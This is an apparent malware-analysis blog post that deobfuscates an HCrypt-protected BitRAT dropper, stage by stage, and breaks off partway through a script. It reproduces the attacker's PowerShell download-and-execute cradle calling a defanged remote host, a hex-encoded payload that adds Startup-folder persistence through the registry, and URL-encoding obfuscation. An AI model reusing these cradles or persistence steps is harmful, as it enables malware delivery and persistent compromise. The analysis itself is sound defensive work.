# HCrypt Injecting BitRAT using PowerShell, HTAs, and .NET **forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/** #### By Tony Lambert Posted 2022-01-23 Updated 2022-03-28 15 min read January 23, 2022 #### One of my colleagues made a statement recently about how commonplace process injection has become among malware, to the point where it seems adversaries don’t have to think about the injection techniques anymore. This is absolutely true as many adversaries deploying malware have begun using crypters like HCrypt or Snip3 that inject their arbitrary payloads into other arbitrary processes. In this post I’m going to walk though analyzing a malware payload protected using HCrypt and injected into aspnet_compiler.exe . If you want to play along at home, the sample is available in MalwareBazaar here: https://bazaar.abuse.ch/sample/f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3/ ## Wait, Isn’t Injection Complicated?? #### Eh, process injection can be extremely technical and complicated depending on how deeply you want to understand process internals. If you’re simply looking to use process injection, there are multiple free and paid tools that will help you inject an arbitrary array of bytes into an arbitrary process’s memory. In some of the paid products, all an adversary needs to do is check a box. In the case of free tools, sometimes a little bit of coding is needed. ## Triaging PS1.hta and Decoding (Stage 01) #### MalwareBazaar says the sample is a HTA file, but we should still approach with caution using file . ``` remnux@remnux:~/cases/bitrat$ file PS1.hta PS1.hta: HTML document, ASCII text, with very long lines, with no line terminators remnux@remnux:~/cases/bitrat$ xxd PS1.hta | head 00000000: 3c73 6372 6970 7420 6c61 6e67 7561 6765 #### Thankfully we can use a little bit of NodeJS to deobfuscate the code ourselves! Using the little bit of code below, we can write the deobfuscated HTA content into stage02.hta . If you want to see this approach used more, consider making a stop by this post where I decode a web shell using the same method. fs = require('fs') page = unescape('%3Cscript%20language%3D%22VBScript%22%3E%0AFunction%20...self.close%0A%3C/script%3E') fs.writeFileSync('stage02.hta',page) ## Decoding PowerShell From Stage 02 #### Now let’s dive into stage02.hta ! The HTA contains VBScript code within the HTA script tags. There’s quite a bit of string obfuscation going on here as well. First, we can tell from looking at the HB variable we’re likely looking into a PowerShell command, and the URL in HBB already shows that the sample downloads additional content. The easy hypothesis here is that PowerShell will likely download content from this URL and execute it. To confirm/disprove the hypothesis we need to remove the string obfuscation. Part of the deobfuscation is really easy using find/replace functionality in a code editor of your choice. The last bit of obfuscation requires a bit more work with your eyes. The {2} {0}{1} -f chunks of PowerShell code correspond with PowerShell Format strings. This feature lets the developer have variable “holding spots” in the middle of a string and specify the contents of the variable after the rest of the string is defined. To deobfuscate this part, just treat the strings after -f like an array, and join them together in the proper order. ``` ----- ``` #### After distilling the PowerShell command it looks like our hypothesis is confirmed! The PowerShell command creates a Net.WebClient object and calls DownloadString() to retrieve additional content. Then the content is fed into Invoke-Expression. Since this cmdlet is designed to execute additional arbitrary PowerShell commands, we can assume whatever gets downloaded is also PowerShell. So let’s dig into PS1_B.txt ! $Hx = 'hxxp://135.148.74[.]241/PS1_B.txt'; $HB=('DownloadString'); $HBB=('Net.WebClient'); $HBBB=('IeX(New-Object $HBB).$HB($Hx)'); $HBBBBB =($HBBB -Join '')|InVoke exPressioN ## Decoding PS1_B.txt PowerShell (Stage 03) #### Fast-forwarding through the triage of this file, we can see it contains PowerShell code as expected. We can already see some low-hanging indicators in the content. C:\ProgramData\3814364655181379114711\3814364655181379114711.HTA is going to contain the code specified in $FFF . Just like the first HTA file, the content is obfuscated using URL encoding. I’m going to wager that’s part of a persistence mechanism. Again, we see a URL and Invoke-Expression . It’s probably a safe bet that the URL delivers more PowerShell code. There’s also a hex-encoded string that likely contains PowerShell code. After getting decoded into $asciiString the code gets executed with iex, an alias for Invoke-Expression . So let’s get that cleartext string. ``` ----- ``` $HHxHH = "C:\ProgramData\3814364655181379114711" $HHHxHHH = "C:\ProgramData\3814364655181379114711" $hexString = "5b 73 79 73 74 65 6d 2e 69 6f 2e 64 69 72 65 63 74 6f 72 79 5d 3a 3a 43 72 65 61 74 65 44 69 72 65 63 74 6f 72 79 28 48 48 29 0a 73 74 61 72 74 2d 73 6c 65 65 70 20 2d 73 20 35 0a 53 65 74 2d 49 74 65 6d 50 72 6f 70 65 72 74 79 20 2d 50 61 74 68 20 43 55 3a 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 78 70 6c 6f 72 65 72 5c 55 73 65 72 20 53 68 65 6c 6c 20 46 6f 6c 64 65 72 73 22 20 2d 4e 61 6d 65 20 22 53 74 61 72 74 75 70 22 20 6c 75 65 20 24 48 48 48 78 48 48 48 3b" $asciiChars = $hexString -split ' ' |ForEach-Object {[char][byte]"0x$_"} $asciiString = $asciiChars -join '' iex $asciiString start-sleep -s 3 $FFF = @'